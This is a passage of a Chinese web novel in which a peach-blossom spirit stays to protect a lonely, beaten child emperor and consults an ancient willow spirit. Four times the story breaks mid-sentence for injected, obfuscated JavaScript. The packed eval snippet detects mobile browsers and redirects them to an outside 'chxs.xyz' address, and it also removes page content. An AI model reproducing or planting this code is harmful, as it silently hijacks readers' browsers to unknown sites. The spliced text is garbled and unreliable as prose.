“不行。”桃花精想都没想便拒绝,“女娲娘娘说了,我们做妖精的是断不可与凡人建立羁绊的。小孩,你要知道,言语所包含的力量远比你想象中的要大,一些听上去只是随口一言的词句,有时候会在言者与听者之间形成一种无形的枷锁,你觉得没什么,可对于我们妖精而言,这种枷锁随时都有可能变成反噬我们的利器。” 她轻轻摸了摸男孩柔顺的长发,十分诚恳地道歉:“抱歉,明明说了你随便叫结果还是拒绝你了,不能叫我的名字也不能叫阿英,干脆就唤我一声大人吧。” 男孩眸光微闪,黑如鸦羽的长发几乎包裹他整个后背,在月光下展现出别样的光彩,他沉默了有一会,才缓缓牵起今晚第一个笑容,霎那间,万千缕莹白月光与他相比都变得黯淡,天地间仿佛只剩下他这一抹艳光,“绮英大人。” “你长得可真好看!”桃花精忍不住抚摸他漂亮的眉眼,也跟着笑了,“你是我见过——”她顿了一下,随即肯定道:“嗯!最好看的人!比郑岚还好看。” 因为这话,男孩眼中星星点点的笑意更胜。 郑烨是个很乖巧懂事的好孩子,大约是因为从小跟在强势的生母身边生活,比起寻常孩子该有的活泼调皮,他的情绪要更为内敛。当然,造成他这样被动性格的除了生母,还有当今太后的打压。 这是在男孩又一次不自然地扒拉衣领后,桃花精发现的。 她无视男孩的抗拒一把扯开他的衣襟,惊讶发现那一小块肌肤上竟然遍布着大大小小的伤痕,有触目惊心的长条状伤痕,还有一些青青紫紫的肿胀,她旋即拽住男孩的手臂,将层层叠叠的衣袖全部推上去,发现这上面也满是伤口。 “这是怎么回事!”桃花精心想报恩的好机会来了,忙按住他瘦弱的双肩询问:“有人欺负你了是不是?” “不、不是的!”郑烨一矮身,灵活从桃花精手下逃脱,抱住自己团成一团的衣袖小跑回到檐下,许是反应过来自己这样的行为不好,又猛地停下脚步。 桃花精趁此时机立即起身向前抓住他的手腕,也是在这时她才发现这孩子虽然脸蛋圆润可爱,实则身上没几两肉,这样一摸全是骨头,“哎呦,你跑什么,先前不是与你说了,我是来报恩的,你有什么苦楚都可与我讲,只要不触犯规矩,我都会尽力帮忙的。” 她盯着男孩圆滚滚的后脑勺瞧,瞧着瞧着便忍不住发呆了。她想起来自己有一回与郑岚玩闹,一不小心没控制好力气,用筷子把男人后脑勺敲了个洞,血哗啦啦流了她一手,把她给吓坏了,要不是后来找黄鼠狼精学了治愈人的法术,她可就罪无可恕了。 这一发呆便想的有些远了,等回过神来才注意到面前的男孩在不受控制地发抖,以为是自己有没控制好力气,她连忙松开手,“你怎么了?没事儿吧?我我我我会治愈伤口的法术哦?小孩你是不是哪里疼呀?好啦好啦没事的,你告诉我是哪里,我保准把你治好!哎你不会是哭了吧?” 她比男孩高许多,当即往前大胯一步站在他身后,弯腰将男孩的脸往后掰,贴近了眯着眼睛瞅来瞅去,“你是哭了吗?” 男孩面色发红,不是因为羞气,纯憋的,“绮英大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002174|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......咳咳,头往后掰的太狠了,我要喘不过气了,咳咳咳咳脖子要断了......” 桃花精吓得马上松手。 郑烨立马捂着嗓子咳个不停。 “不好意思哈......”她干笑着搓搓手,“以为你哭了,有点紧张。” 由于桃花精报恩的信念非常之坚定,小小年纪的郑烨根本抵抗不了她再三询问,很快便全部交代了。 原来当今太后与郑烨的母妃恩怨已久,两个女人还在王府之中时便争斗不休,最后是手段更狠厉的太后更胜一筹,成功在先帝与先太子去世后继位太后,垂帘听政。只是权臣当道,大臣们个个虎视眈眈,认为是太后抢走了幼帝身上本该属于他们的权力,朝堂之上常常对其打压嘲讽,以至于这位积怨甚重的太后将自己的气全部发泄到了旧仇人的孩子身上,对郑烨动辄打骂。 好在太后良心未泯,事后也会命人好好为男孩医治,今日便派了自己的贴身侍女送来药,只是郑烨还没来得及上药,便碰上了桃花精。 “原来是这样。”桃花精一时犯了难,幽幽叹了口气:“若是常人我大可以帮你教训,只是——哎,按照你说的,这位太后虽然没多大权力,却也是象国的实际统治者,且她大约是有好好当个统治者的念头的。”毕竟她在她身上看到的那团帝王之气不作假。 “国不可一日无君,倘若我真的为你教训了她,你又是个手无缚鸡之力的孩童,朝堂里的老头们争斗起来终归是对国对民都不利,起码现在还有那个野心勃勃的太后勉强制衡着他们。”她未从男孩眼底看到任何失望,相反,他反而像只小兔子一样双眼亮晶晶地盯着她瞧,全然不见方才逃避的模样。 她忍俊不禁,推推他的肩膀示意他去屋里面,“既然受伤了就赶快回房吧,别陪我站在外面了,让太监给你上药。不过你放心,我会想法子让她不要再随意打你了,哦还有你身上的伤。” 说着,桃花精手一翻变出来一个小玉壶,“这是我一个妖精朋友送的,因是专门给妖用的药物,对于你们凡人而言药效兴许会过于‘好’了,你找壶茶水,将它滴进去两滴拌一拌,而后均匀涂抹在伤口处,用不了三个时辰便能好透。”她将小玉壶塞进男孩手心,“全给你了。” 令她没想到的是,男孩像接了什么烫手山芋一样慌忙将玉瓶塞回她手里,转而仰头泪眼汪汪地看着她,无比认真地祈求:“绮英大人,我不需要您帮我治伤,也不想让您找母后。” 他深呼吸一口气,像是给自己壮胆一般握紧拳头,继续说道:“既然您来到这里是为了报恩,那么能否请求您陪在我身边呢?绮英大人,我什么都不要,您也什么都不用为我做,只需陪在我身边就行,我只有这一个请求!” 说着,大约是怕她不同意,还扭过身子端起桌上精致的糕点,长睫忐忑地扇动着,“只要绮英大人愿意留在这里,无论有什么好吃的好玩的,我都会第一个送给绮英大人!还、还有,我可是皇帝哦!虽然现在大家都不听我的话,但等我长大了,大家就一定会像听母后的话那样也听我的话了,到时候,我就能把世界上最好的东西搜罗出来送给绮英大人了!” 5. 第 5 章 桃花精觉得,郑烨真是一个很好的孩子。 事实上,就算郑烨不说,她也会留在这里一段时间,帝王之气对妖精的修行百利而无一害,她需要留在皇宫精进修为,壮大自身灵田,如此才能更好地滋养桃花谷众多生灵。 料想男孩呆呆傻傻的也听不懂这些大道理,她没有多解释什么,只是把药瓶重新放入男孩手心让他安心去用,并保证自己会一直留在这里,直到他生命的尽头。 生命的尽头。 这样的诺言对于刚刚踏上人生道路的郑烨而言实在是太过于沉重与漫长,他称得上喜不胜收,甚至于激动,眼眶里蓄满泪水,嘴角却是不受控制的向上牵动。 他又哭又笑的表情真是好笑,桃花精心里这么想着便真的没忍住笑出声来,她还看不懂如此复杂的情感,不过大约是明白自己这样不好的,便笑着捂住嘴巴,歪头直愣愣盯着神容狼狈的郑烨瞧,眼中满是好奇。 郑烨被她瞧的不好意思了,伸出两只小手下意识跟着面前的人捂住下半张脸,但似乎觉得自己这样学人太明显了,就眨巴眨巴眼睛分别将两只手掌贴紧自己热乎乎的脸颊,小声说:“我让柯良为您准备一间屋子。” 桃花精连忙摆摆手:“不用不用!我住不惯你们凡人的屋子,硬邦邦的还没什么趣味,你不用管我,我其实不用睡觉的。嗯……就算平时要休息,直接躺在树上就行!” 假如此时是郑岚,一定会开始愁眉苦脸地愧疚担忧自卑,然后固执地搬出被褥要陪她一同住在外面。可现在听到这番话的是郑烨,这个懵懂天真的孩子,只会满脸崇拜地发出一声惊叹,笑着夸赞绮英大人好强好厉害,说绮英大人就是世界上最厉害的妖精。 笨蛋,那是因为你只见过我这一个妖精呀。 桃花精在男孩儿的连连夸赞下笑的合不拢嘴,还很奢侈地用了一点灵力变出一个桃花做的小兔子,大约有半个人头那么大。她在男孩儿更加大声的惊叹与亮晶晶的眼眸中转了一圈儿,“当当当当!象国最——厉害的妖精——桃花精的杰作!只送给你一个人哦!我可是第一次送凡人礼物。这只小兔子大约能坚持个三四天不坏掉,先让它陪着你,我要回妖界一趟。” 男孩儿的兴高采烈像放烟花一样轰的一下消失不见,他抱着香气满怀的小兔子,愣住,“您要离开吗?” 她看出男孩儿脸上的失落,敲了一下他的头,“不是和你说了吗,我会想办法让太后不要再动不动就打你了。我现在灵力不足,没法施展那个法术,需要找我妖界的朋友来帮忙。没事没事,不用担心啦!我就走个三四天,马上就回来了呀,到时候给你带礼物,嗯?这期间你如果遇到什么危险,就把这个小兔子给捏碎,这样我就能立马回到你的身边了哦。” 男孩低下头,如墨倾洒的发丝遮住他大半张脸颊,使桃花精并不能看清他的神色,她没有在意,揉了揉他的发顶转身就走。 郑烨的人生阅历太少,少到他根本说不出自己现在究竟是何心情,他觉得自己应该开心,为有一个从天而降的妖精愿意站在自己身边而庆幸,可是不知为何,他却无法欺骗自己装出笑容满面的模样。 四周静悄悄的,他的身边很少有宫人侍奉,没有人的声音,连鸟兽虫鸣的声响都随着桃花精的离去而消失不见了。明明被告知了只有三四天见不到那个人而已,明明被那个人亲手做了小兔子来安慰,明明...... 明明没什么的。 可他依旧没由来地感到悲伤,他不是郑岚,因此这一晚的他也不会知道,这种几乎要将人淹没的悲伤,已经从此刻出发,覆盖了他的一生,就像桃花精所言——直到生命的尽头。 小兔子枯萎的很快,第二天下午就变得软塌塌了,郑烨心急如焚,焦虑地在屋子里转来转去。他想把小兔子泡进水里面,又担心花朵会散开,实在没有办法了,只好抱着小兔子来到院子里的桃花树下,寄希望于所谓的灵力妖力什么的,想着这样能不能让小兔子枯萎的慢一些。 柯良以为这是他用从地上捡的桃花瓣自己拼的小兔子,便没有管他,只是嘱托他不要在外面待的久了,免的着凉。 郑烨小声称是。 先帝去后,太后将宫里面管事的都给换了一遍,柯良便是太后委派过来专门照顾他的大太监,说是照顾,实则郑烨的一举一动都被他看在眼里,转告给太后。 柯良平日里并不大管郑烨,多数时候都在忙自己的事情。 桃花精回来已是七天之后,她刚刚从桃花树上一跃而下,下一刻便被小奶团子郑烨扑了个满怀,小小的男孩紧紧抱住她的腿,整个人都不住地颤抖着。 她揪住男孩的后衣领将他扯开拎在半空中,措不及防便对上了他一双泪流不止的眼眸,眼泪珠子一般成串地往下掉,人都哭的上气不接下气了,还有余力挣扎着举起两只小手臂去抱她的手。 她担心男孩儿把眼泪弄到自己身上,赶忙将他放到地上,伸脚踢了踢,“你怎么了?哭的那么厉害,可是又有人欺负你了?”她这段时间留在京城中与柳精玩乐,从柳精那里了解到许多皇室秘闻,其中有一条便是小皇帝郑烨打小便不受待见,据说随便一个宫人都能任意欺辱他。 “不是……”郑烨还在哭,他很想要上前抱住桃花精,又怕自己这样做了会惹她不高兴,因此只能惨兮兮站在原处,鬼使神差道:“小兔子腐烂了……” “肯定的呀,这都多少天过去了,就算是个苹果也该烂的不成样子了吧。”桃花精不甚在意摆摆手,“好啦你快别哭了,我找到让太后不再打你的法子了。” 其实郑烨哭根本不是因为小兔子,桃花做的兔子在第二天就已经泛黄腐烂,那个时候他已经大哭一通了。他也不关心太后到底打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002175|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不打他了,或许是因为从小便开始挨打的缘故,他并不认为被太后娘娘打是一件多么痛苦的事情,对他来说,挨打就跟吃饭一样是很稀松平常的事情。 天知道他刚刚见到桃花精从天而降的那一刻有多么委屈,他这些天日日守在这株桃花树下等待她的归来,可是一天过去了,两天过去了……整整七天,她都没有回来! 郑烨越想越委屈,终于再也无法忍受一般大哭起来,将心底的诸多想法全盘托出:“绮英大人呜哇——呜呜呜我以为您不要我了,这几天我一直在想自己是不是哪里做错了让您不喜欢了,所以才被您抛弃呜呜,大人、绮英大人!我真的,真的完全不在意太后娘娘是否打我,您不要再管这件事了好不好,我真的好害怕呀……” 他哭个不停,不断抬手想要用袖子擦拭眼泪,却怎么也擦不完,他便如此狼狈不堪站在那里诉说着自己的委屈与恐惧,如同最寻常的孩童那样哭闹撒娇,恳求着大人的陪伴。 桃花精望着眼前这一幕,情不自禁后退半步,忽然放慢了呼吸,犹如见到什么新奇物种一样非常缓慢地眨动着眼睛,耳边属于幼童的哭声逐渐变得遥远,取而代之的是泪水流淌过他脸颊的声音,风吹过他的发丝,带走他满溢而出的伤恸,最后剩下来的是一个孤独的灵魂。 凡人总是拥有多到不可思议的情感,他们会为了同族悲伤,也会为了路边一朵盛放的花朵而欣喜若狂,他们永远都会留一份多愁善感,给予无关之人。 比如郑岚,如果是郑岚,此时一定知道该怎样安慰一个脆弱的孩子。 可惜桃花精与郑岚同住的那几年光顾着玩了,她没能从他那里学到任何东西,自然也不懂得如何面对郑烨浓烈的情绪。 她手足无措地站在他身边,几次三番想要用老办法帮他擦眼泪,又害怕男孩那么多泪水会将自己的衣裳弄脏,最终只能哭丧着脸抱怨:“凡人常说妖精是自私自利的坏蛋,可我却觉着你们比我们自私多了。哎!你总不能只想着自己开心或不开心了,也多多为我考虑一下嘛。报恩对我来说是很重要的事情,要是我没法为郑岚做些什么的话,以后不仅是我,还有承了郑岚一份恩情的桃花谷都会遭天道反噬,难不成、难不成你想要眼睁睁看我遭天谴啊!” 她不满地撅起嘴,抱膝在男孩身边蹲下,语气认真:“再说了,我们两个呢,已经是建立羁绊的关系啦,有缘即是朋友,朋友之间要多一点信任才对嘛!虽然......呃,虽然我有的时候可能会忘记之前说的话,但是!重要的事情一定是牢牢刻印在脑海里的哦!比如陪你到生命的尽头,既然答应你了,就绝不可能背弃承诺。” 桃花精捏着郑烨的一片袖子,帮他胡乱擦了擦眼泪,这才愿意伸手捧住男孩滑溜溜的脸蛋,她语气认真道:“请多多信任我一点吧,郑烨。” 这是她第一次叫他的名字。 6. 第 6 章 桃花精原本的计划是使用控梦之术,在太后的梦境里借由神仙的名义嘱托她好生对待旧人幼子,莫要再随意打骂了。只是这种术法对施法之人的水平要求极高,以她目前的实力还不足以介入象国实际统治者的梦境当中,因此她是打算回妖界请求黄鼠狼精帮帮忙,然而不巧的是,黄鼠狼精不知道犯了什么错也遭受了女娲娘娘惩罚,现在正被关在无尽之域思过。 无尽之域可纳天地万物,是女娲娘娘的一件法器,专门用来惩罚那些犯了小错误的妖精。 桃花精没有进去过,因为她迄今为止犯下的每一件罪孽单拎出来都是要遭五雷轰顶的程度。 也是由于这个原因,她心底顶多有一些看热闹的好奇心,并不怎么担心他,在桃花谷里自己常住的那一株桃木下留了传讯对对方表达关心后,便很快离开了妖界。 毕竟答应了小皇帝会帮他想法子,桃花精也不好就此空手而归,就去了从前常常和郑岚一起去的茶馆那,想着那里人多,她虚心向哪位聪明又有智慧的凡人请教一二,指不定就找到办法了。 却不想聪明凡人没遇到,反而叫她碰上了妖界万事通柳精。 这一代柳精活了一万多年,是现存所有妖精里年纪最大的,有人说是因为柳精勘破机缘,修为与她们这等小妖不是一个境界了,这才迟迟没有消亡,也有人说是下一代们太不争气了,一直没有成长出来可担大业的柳树,换代一事便一再推迟。 总归是个不好相与的老妖精。 桃花精除却为上一代桃花精办事的那些年,其余多数时候都被幽禁在桃花谷内,除了与主动来找她玩的黄鼠狼精,她与旁的妖精交情并不深,甚至认识的凡人比妖精还要多。因此对于柳精,她的心中还是敬畏居多。 彼时是她离开皇宫第三日晌午,用了从前郑岚留给她的银钱买了瓜果糕点与一壶清茶,正兴致盎然学着前方两位官家小姐的动作沏茶,却不想看她们说笑看得入了迷,壶里的热茶一不小心便溢出了水杯,烫的她连忙撒了手吱哇乱叫。 她起初不伦不类的沏茶模样本就惹得周围女孩子们忍不住偷瞄,这一回的大动静更是引发哄堂大笑,一个装扮华贵的女孩更是捂着肚子笑得直不起来腰。 桃花精顿时红了脸,恨不得找个地方立马钻进去,她羞恼地跺了跺脚,最后干脆一埋头谁也不看,抱着自己两盘子吃的向着二楼拾级而上,木板被她踩到嘎嘎响。 啊啊真是!不就是倒茶撒出来了么?有什么好笑的!哼,她会的东西她们想学还学不会呢! 她只顾埋头往二楼去走,心里想着一会下楼了要给那群小姐们表演个什么绝活惊呆她们,全然没有注意前路,拐弯处一个不小心便被一个身量极高的女人撞到在地,盘子里的瓜子花生们哗啦撒出来,顺着楼梯咕噜噜往下滚。 “妖精还食五谷,真没出息。” 一道淡淡的声音自头顶传来,未等桃花精回过神来,便有一柄镶嵌着白玉珠宝的扇子出现在眼前,视线顺着它往上,是一位穿金戴银,品貌非凡的女人。 “柳精?”她怔愣不过一瞬,便立刻从地上爬起来,难以置信地瞪大眼睛惊问:“你怎么变成这幅样子了!” 女人悠悠收回扇子,斜眼看向地上散落的吃食,下一瞬便有一个约莫十一二岁的女孩疾步走上前收拾干净,而后再悄无声息退至女人身后,她勾了勾手指,撂下一句话转身便往上走,“跟我来。” 桃花精还沉浸在柳精如此俗气的打扮中无法自拔,她虽然少出桃花谷却也听闻过柳精大名,众妖传的那是一个神乎其神堪比仙人,她还以为是多么超凡脱俗,遗世独立的人物,不想竟是这般、这般—— “这般凡人味?”柳精含笑望着呆愣愣跟随自己来到二楼雅间内还不忘关上门的小妖精,神色自如为二人倒了一杯热茶,“过来坐。”见桃花精似有警惕之心,犹站在门边不肯靠近,她脸上笑意凝住片刻,随即便展露更加亲切的笑容,“你既知我是柳精,又有什么可怕的?” 好嚣张的话......! 但好像确实是这个样子没有错...... 虽然就是这个样子没有错啦......但! “你真的很奇怪诶!”桃花精两下扁好袖子,叉腰站在原地没有动作,气势昂扬看着她,“你身为一个妖精,与凡人关系如此密切,就不怕女娲娘娘知道了惩罚你吗!” “呵呵。”柳精忽然捂嘴笑了,屋内紧张的气氛也因为她这饱含嘲弄的一笑变得轻松起来,她施施然站起身,走过来看似温柔实则异常强硬地拉着桃花精坐在桌边,还重新为她斟了一杯茶水。 “绾儿那么激动做什么,莫要污蔑我,我与那些庸俗的凡人可没半点关系。”她话音一顿,抬眸浅笑:“你以为谁都和你们一样离了凡人就不能活么?” “你说什么!”桃花精拍案而起,怒视柳精,“我是桃花精,才不是什么破绾儿,不准你那么叫我!” 女人却是用一种暗沉沉的目光盯着她瞧,嘴角的笑意也不达眼底,闻言只是淡定地又将茶盏往桃花精这边推了推,“陶丽绾啊,这不是上一代桃花精留给你的名字吗?”她支着下巴看笑话一般,“整个妖界谁不知道第二十六代桃花精给第二十七代桃花精留了个凡人名字,叫陶丽绾,怎么,才两百多年便打算背信弃义不承认了?哎呀呀,你这得叫上一代桃花精多么伤心呀。” 听女人这么说,桃花精不适地皱起眉头:“上一代桃花精已经死了,她已经没法伤心了。”言罢,又补充一句:“就算没死,她也不会伤心的。” 柳精的话语口气都充满了惋惜,便好似话本里常有的迟暮者缅怀故友一般,这种与凡人无二的模样让她下意识反感,她一直以来都因为上一代桃花精做的愚蠢事而吃了不少苦头,现在好不容易逃出了桃花谷,才不愿意再与这些事扯上关系,“哼,本妖来凡间有正经事要做,才不跟你这种满身凡人味的妖精一般见识,走了!” 她一个眼神也不愿分给女人,转身就要走,抬起的步子却霎时间宛若有千钧之重,动弹不得,“喂!你个柳精,竟敢搞偷袭!” 柳精笑眯眯起身走过来,两只又细又长的手臂攀住桃花精的肩膀与腰部,带着她一同坐到桌边,还不顾桃花精的挣扎强行将方才倒出的两杯茶水全部喂进她嘴里。 微凉的液体滚入喉头,无需仔细品尝便能觉出一股唇齿留香的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002176|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春芽之味,等到两杯茶水全部灌进桃花精肚子里,她吧唧两下嘴,犹如尝到了什么难得一见的美味似的一下子安静下来,乖巧坐在柳精怀里,抬头仰望:“你给我喝了什么?” 女人笑得满面春风,挽袖抬手打开壶盖。 她抿唇自以为不动声色地往里面看,惊讶发现里面居然泡着三片柳叶,并且这壶茶水远看来晶莹剔透,近看去却又有黄雾飘散其上,那黄雾丝丝缕缕在茶水上方盘旋环绕,形状优美,游动之间搅动着泡在凉水中的柳叶,散发出阵阵清香。 桃花精能够很清楚感受到体内沉积已久的瘴气正在被一股清透温润的灵力洗涤,长久以来笼罩在自己身上一张无形的布一点点化为虚无,整个世界的样貌声音与气味都变得清晰起来,耳清目明,精神焕发。 她彻底安静了下来,连同一颗自见到柳精起便躁动不安的心也逐渐平静下来。 “我叫柳玉冷。” 桃花精瞪大眼睛。 女人笑了一笑,正午的阳光从大开的窗子投射进来,光斑落在她满头珠翠上,光彩夺目,“你是不是觉得,妖精有了名字,就像是猫儿被取了名字,成为凡人豢养的宠物?” “不是。”桃花精诚实摇摇头,“我只是不喜欢跟凡人扯上太多关系。”她低下头发了一会呆,还是说道:“我从前认识过一个凡人,他帮了我很大的忙,也为我取过一个名字,念做花绮英。” 柳精轻轻笑了笑,手指点在桃花精额间,似是玩味地打量她,“陶丽绾、花绮英……你倒是有不少名字。”她敛了笑意,慢悠悠地抿了一口茶,“名字这东西,凡人妖精都好,若是认下了,便是一种牵绊。” 桃花精皱了皱眉,没搭话。 “你来找聪明凡人求助,却遇上了我。”柳精看着她,眼中浮现出一丝揶揄,“你不觉得,这是天意?” 桃花精撇撇嘴,心想她才不信天意会把她跟这个老妖精绑在一起,但柳精确实活得够久,或许知道些办法——她犹豫片刻,还是咬牙问道:“那你知不知道,如何进入一个凡人的梦境,那凡人有些特殊,身上有真龙之气护体,嗯,没错,就是当朝太后!” 柳精好笑:“你一边说不愿意与凡人扯上关系,现在又是在做什么呢?” 她脸一红,马上反驳:“不是你想的那样!正是因为不想要与凡人扯上关系,所以才努力还过去的恩情,这样便能将那些俗事彻底摆脱掉了!” “你这傻孩子。”女人伸出一只手轻轻揪了揪她的耳朵,许是被她捂着耳朵的滑稽模样逗笑,原本有些严肃的话题也轻松了几分,“怎么对旁人没一点防备心呢,刚进屋时还那么警惕地不肯接近我,怎么?喂你喝了两杯茶,你就迫不及待把自己的事情托盘而出来求我办事了?” 柳精修为深厚,桃花精很清楚在自己求助之言说出口的一刹那她便与女人建立了因果关系,凭借柳精的实力不过须臾便能推测出来她身上发生的事。她心虚移开视线,“我这不是信任您吗?” 柳精嘴角的笑意一点点加深,反问:“若这是诱饵呢?” “什么?” “先对你示好,待你卸下防备之心,再将你千刀万剐。” 7. 第 7 章 “——说什么千刀万剐,一看就是唬我的嘛!”桃花精盘腿与郑烨一起坐在床边小榻上,两人中间隔了张小桌子,她愤愤不平将两杯茶水倒来倒去,“总之我能告诉你的只有这些,柳精是很厉害的大妖,有她出手肯定不会再叫那个太后任意打骂你了。” 郑烨呼吸一滞,他不是无知小儿,自然知道有得必有失的道理,听绮英大人的意思她与那个柳玉冷并不亲近,那人怎么会平白无故帮忙,想到这里,他立马紧张地拉住桃花精的衣袖,制止了女孩的动作,“那绮英大人又给了柳玉冷什么东西?还有,绮英大人怎么在外面耽搁那么多天,可是遇到什么难处了?” 桃花精直直盯着他瞧,放下茶盏莞尔一笑:“没有啦,柳精人挺好的,她与我们这等小妖都不是一个境界的了,没必要为难我。” 她想了想,还是对着男孩说:“这么跟你讲吧,天道之下万事万物皆讲究因缘果报,且不说一花一木自有其生长凋零的规律,你们这些凡人的命运也早已经是冥冥之中注定好了的,凡事俱可追溯起源,探究未来,你们的一举一动一思一想都是有迹可循的,不过是由于距离天道太过遥远才无法窥见。 同样的,我们妖精亦是如此。柳精有她想做的事情,却苦于迟迟没有机缘,恰巧我报恩这件小事包含在她要做的那件大事之中,她便与我建立了因果,以我的事为切入点去寻得她那一缕机缘,也算是互利互惠的好事。我用将来偿还她一个果来将现在的因转移到她身上,从她的角度来看呢,就是现在为我报恩——即现在种下一颗种子,等到了却万事后再来找我寻那颗种子所结的果实。” 郑烨听得迷迷糊糊,却依旧准确把握住了其中的关键地方,“是什么果?绮英大人需要付出些什么?您可会为难?” 桃花精诚实摇了摇头,“我不知道,这是未来之事。” 男孩急了,“绮英大人!万一她以后让您做什么难事了可如何是好,我肯定活不了那么久啊,到那时我还不能帮助您......” “傻瓜。”她好笑地敲了敲男孩的头,“感情我刚才说那么多你是一个字也没听懂是吧,天道在上,她怎么会要求我去做与报恩不对等的难事呢?我又不是像你一样的傻子,哪有那么容易中计,我既然敢和柳精定下约定,就一定有实现诺言的信心。而且今天柳精帮我给郑岚报恩,你又帮我给柳精报恩,这恩恩想报的何时能了?” 郑烨仍旧不大放心的样子,忽然想到了什么忙追问:“既然报恩一事转移到了柳玉冷身上,那绮英大人是不是就不必再待在我身边了?” “你以为你说一句想要什么我给你带过来就算报恩完成了吗?这其中的弯弯绕绕可复杂着呢。”桃花精深感无力,懒懒摆摆手:“跟你这种小屁孩说也说不明白,总之你就知道我会陪你过完这一生别的什么都不会再帮你就行了。” 小孩子就是奇怪,听了这样的话不仅不失落反而高兴起来,忽闪忽闪的大眼睛笑得弯成了月牙,大着胆子膝行到桃花精身边,抱住她的胳膊蹭啊蹭。 郑烨又缠着桃花精让她讲这些天都发生了什么,他长在深宫之中,从来没有见过外面的世界,甚至见过的人来来回回也就那几个宫人,因此对于桃花精这几日跟着柳精在京城里玩了什么很是好奇,十分捧场。 而桃花精从前虽然也在凡间生活过一段时间,可那时候有伤在身且还要完成上一代桃花精的遗愿,整日忙的脚不沾地,这还是她头一回如此享受俗世间的生活。从茶馆里的趣事,到各种吃的喝的玩的小铺子,还有夜晚玩杂耍的艺人......这一切都是她向往许多年却从未体验过的,此次多亏了柳精带她尝试一番,故而也是激动万分。 两人一个乐于讲,一个乐于听,竟是从白日足足说到月上中天,要不是他们笑声太大差点被柯良发现,桃花精能一直讲到天明。 *** 柯良觉得小陛下最近很奇怪,具体表现在时不时跑到院子里对着崔相送来的那棵桃木自言自语,还常常把自己关在屋子里不知道做些什么,不仅不让宫人随身侍奉,甚至都不让她们进院子里了,就算要进也必须通报一声得他允许后才能进入。 就好比今日,他得了桃薇姑姑的话便来请陛下去太后娘娘那请安,搁外头叫了三四遍才听见里面传来一句略显慌乱的“进来”。 待进入窗户大开亮堂堂的屋内,便发现小皇帝正襟危坐在桌边,桌子上还相对放着两幅茶具,男孩手边的茶水杯盏整整齐齐摆在那里,反倒是他对面的一套茶具乱的不成样子,杯盖“咕——”转了一圈沿着桌沿滚落在无人的软垫上,杯子里溢满的茶水铺了一周,还冒着热气。 “陛下?”柯良眯起眼,大跨步走来停在桌边,斜眼看了凌乱的杯具一瞬,弯腰拾起软垫摞在小榻边缘,嘴上问着:“陛下是在做什么呢?” 郑烨眼睁睁看到男人把绮英大人方才坐着的软垫收拾到一边,心中顿时警铃大作,一面怀疑柯良是不是发现什么了,一面又催促自己赶快找借口,“我——” 男人双手插袖静立在那处,闻言拔高了自己尖细的声音:“嗯?” “啊不对。”意识到自己说错话后,他连忙低下头,忍住心底的惧意慢吞吞撒谎:“朕......朕想到了从前跟随母亲学习沏茶的时光,正巧今日得空,便自己试了试。” 这借口是很拙劣的,不过大约是因为男人打心底里觉得他是个傻孩子,便没有多加追问,只是翻了个白眼掸掸衣袖上并不存在的灰尘,淡淡吩咐:“陛下,太后娘娘请您去一趟万寿宫呢。” 郑烨愣住,太后娘娘不喜欢他,向来是能不见他便不见,怎么今日突然召他过去呢?他有些担心是不是桃花精被发现了,目光胆怯地想要从柯良脸上搜寻什么信息,却被瘦瘦高高的男人狠狠一瞪,立即吓得低下头小声称是。 “那就起身快来吧。” 柯良丢下这句话便离去了,窗子外一阵和煦微风轻轻吹过来,扭头看去身边便已坐了位粉衣姑娘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002177|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你自己去吧。”不等男孩发出邀请,桃花精便率先拒绝,她抓了抓头发,神色怏怏:“你们太后有点吓人,我不喜欢见到她。哦对了,无论她同你说什么,你只管答应就好。” 郑烨微微睁大眼睛,发现女孩发间不知何时多了一片小拇指大小的柳叶,他乖巧点点头,没有多问。 